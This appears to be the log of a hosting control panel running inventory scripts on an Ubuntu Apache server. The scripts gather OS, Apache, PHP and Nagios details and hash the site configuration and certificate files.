brew services restart httpd
fi
echo .
2025-12-29 14:08:58:
chmod 755 /tmp/pkp232564; /tmp/pkp232564; rm /tmp/pkp232564
2025-12-29 14:08:58:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-29 14:08:58: Performing Server Status
2025-12-29 14:08:58:
PUT: /tmp/pkp421196
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-29 14:08:58:
chmod 755 /tmp/pkp421196; /tmp/pkp421196; rm /tmp/pkp421196
2025-12-29 14:08:58:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-29 14:08:58:
PUT: /tmp/pkp760033
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-29 14:08:58:
chmod 755 /tmp/pkp760033; /tmp/pkp760033; rm /tmp/pkp760033
2025-12-29 14:08:58:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 16142
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 16142 0.0 0.9 301832 36740 ? Ss Dec23 0:49 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
headers_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_fcgi_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-12-29 14:08:58:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'mars',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'headers_module',
22 => 'mime_module',
23 => 'mpm_prefork_module',
24 => 'negotiation_module',
25 => 'php_module',
26 => 'proxy_module',
27 => 'proxy_fcgi_module',
28 => 'reqtimeout_module',
29 => 'rewrite_module',
30 => 'setenvif_module',
31 => 'socache_shmcb_module',
32 => 'ssl_module',
33 => 'status_module',
),
),
)
2025-12-29 14:08:58:
PUT: /tmp/pkp742984
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-29 14:08:58:
chmod 755 /tmp/pkp742984; /tmp/pkp742984; rm /tmp/pkp742984
2025-12-29 14:08:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
2025-12-29 14:08:59:
PUT: /tmp/pkp844891
#!/bin/bash
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-29 14:08:59:
chmod 755 /tmp/pkp844891; /tmp/pkp844891; rm /tmp/pkp844891
2025-12-29 14:08:59:
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.7
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.7
2025-12-29 14:08:59:
PUT: /tmp/pkp182565
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-29 14:08:59:
chmod 755 /tmp/pkp182565; /tmp/pkp182565; rm /tmp/pkp182565
2025-12-29 14:08:59:
(gzipped output)
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca
2025-12-29 14:08:59:
PUT: /tmp/pkp114419
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-29 14:08:59:
chmod 755 /tmp/pkp114419; /tmp/pkp114419; rm /tmp/pkp114419
2025-12-29 14:08:59:
status=ok
2025-12-29 14:08:59:
PUT: /tmp/pkp328759
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-29 14:08:59:
chmod 755 /tmp/pkp328759; /tmp/pkp328759; rm /tmp/pkp328759
2025-12-29 14:08:59:
2025-12-29 14:08:59:
PUT: /tmp/pkp793413
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/carelinks_new_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-29 14:08:59:
chmod 755 /tmp/pkp793413; /tmp/pkp793413; rm /tmp/pkp793413
2025-12-29 14:08:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/carelinks_new_net.conf 491
<VirtualHost *:80>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_access.log combined
ErrorLog /var/log/apache2/carelinks/new_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= a1aba36d5064005600a72aab79017da9
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 74a225c1691d3c388c0dabd4c745b5b5
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= f7e21f5b7e2e70c74daf3348abe31a70
MD5(/etc/apache2/sites-available/carelinks_www_org-au.conf)= bea1c410df503f5c8a140930e02bdd8b
MD5(/etc/ssl/certs/05659106679de2a1894b27eede09c1b3.crt)= efe632de3aaf49888faf4b5510e1c8e0
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= e59a421f795ac013c5d90bb30da825c1
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= 1f21b071ddedee3af411dfedc7da6d06
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= 3561de179ad84bfe0240150d635af61c
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= ac85e89c2da1ccffe799d1216dac3cd4
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= b99943fe4487d80bb2668dee0320a1ef
MD5(/etc/apache2/sites-available/biblealive_www_us.conf)= 4cb67e52d73ce98d31dcec0c352a3b06
MD5(/etc/ssl/certs/fd6dc6f9714389fe5b765b47ecb8e8c1.crt)= bf36eec93304c1c8bb7e36dad95ed775
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 72d2e7e74a64389a685b122d60458b4b
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 5338fc2406f652e606a4761b8a869341
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= 97f0c7cc702a90836c67b6ebf7640328
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= 1e23754cf4e32c0828e679b1c9ef5e5b
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= 8dd7cc3fc4e74a2e03407fc9e9b68841
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/carelinksoutreach_www_info.conf)= cb44c1a0b360d4f45a5bdd2fbc6884d1
MD5(/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt)= d09c2eafe64fc36968d098a0b3a77660
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 0f1b9b5f9c4f20294bf8a018ef957115
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 0d92a6e13d6cc02c23ac829fbe250eaa
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 509d0d0c14b50d4539493a62cbe9e85e
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= da6d562ecaaa4a55a783e66cb4036e3f
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= 282b97e64eaee8c04ec8f3238e6cd5cc
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
